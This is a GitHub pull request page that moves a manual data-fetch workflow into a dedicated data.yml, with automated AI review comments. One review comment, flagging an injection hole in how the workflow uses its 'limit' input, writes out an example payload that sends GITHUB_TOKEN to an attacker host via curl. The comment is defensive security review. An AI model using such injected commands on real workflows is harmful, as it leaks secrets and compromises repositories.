-
Notifications
You must be signed in to change notification settings - Fork 0
Data branch workflow fix #3
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
Co-authored-by: pierre.juillard <[email protected]>
|
Cursor Agent can help with this pull request. Just |
Co-authored-by: pierre.juillard <[email protected]>
Co-authored-by: pierre.juillard <[email protected]>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This PR is being reviewed by Cursor Bugbot
Details
You are on the Bugbot Free tier. On this plan, Bugbot will review limited PRs each billing cycle.
To receive Bugbot reviews on all of your PRs, visit the Cursor dashboard to activate Pro and start your 14-day free trial.
|
|
||
| - name: Show data status | ||
| working-directory: main | ||
| run: poetry run python -m main status |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Bug: Missing calculate-total2 step in migrated workflow
The calculate-total2 command step was present in the original workflow in tests.yml but was not included when migrating to data.yml. The workflow fetches price data and shows status, but skips the TOTAL2 index calculation that should occur between these steps. The README generated on line 154 still references "TOTAL2 index" as expected output, but this data won't be generated without the missing step.
| working-directory: main | ||
| run: | | ||
| if [ -n "${{ github.event.inputs.limit }}" ]; then | ||
| poetry run python -m main fetch-prices --limit ${{ github.event.inputs.limit }} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Bug: Unvalidated workflow input enables command injection
The github.event.inputs.limit value is directly interpolated into the shell command on line 102 without validation or proper quoting. Since GitHub Actions evaluates ${{ }} expressions before the shell runs, a malicious input like 10; curl attacker.com/steal?token=$GITHUB_TOKEN would execute arbitrary commands. While workflow_dispatch requires write access to trigger, this could still allow secret exfiltration or repository compromise through a compromised account.
Move and fix the manual data fetching workflow to a dedicated
data.ymlfile to enable on-demand updates of thedataorphan branch.The original
fetch-datajob intests.ymlwas designed for manual triggering but lacked theworkflow_dispatchevent, making it impossible to run. It also had an incorrectneeds: testdependency for manual runs and an incorrect working directory. This PR resolves these issues by creating a standalone, robust workflow with proper triggers, dependencies, and path handling, allowing users to manually update cached data.Note
Introduce a standalone, manually triggered data-fetch workflow and strip the heavy fetch job from the tests workflow.
data.yml(manual data fetch):workflow_dispatchwith optionallimitinput.mainanddata(or initializes orphandatabranch if missing).main/data.list-coins,fetch-prices(supports--limit), andstatus.databranch, updates README with counts/timestamp, squashes to a single commit, and force-pushes.tests.yml:fetch-datajob; retains only lint/test/coverage steps.Written by Cursor Bugbot for commit 33d3c71. This will update automatically on new commits. Configure here.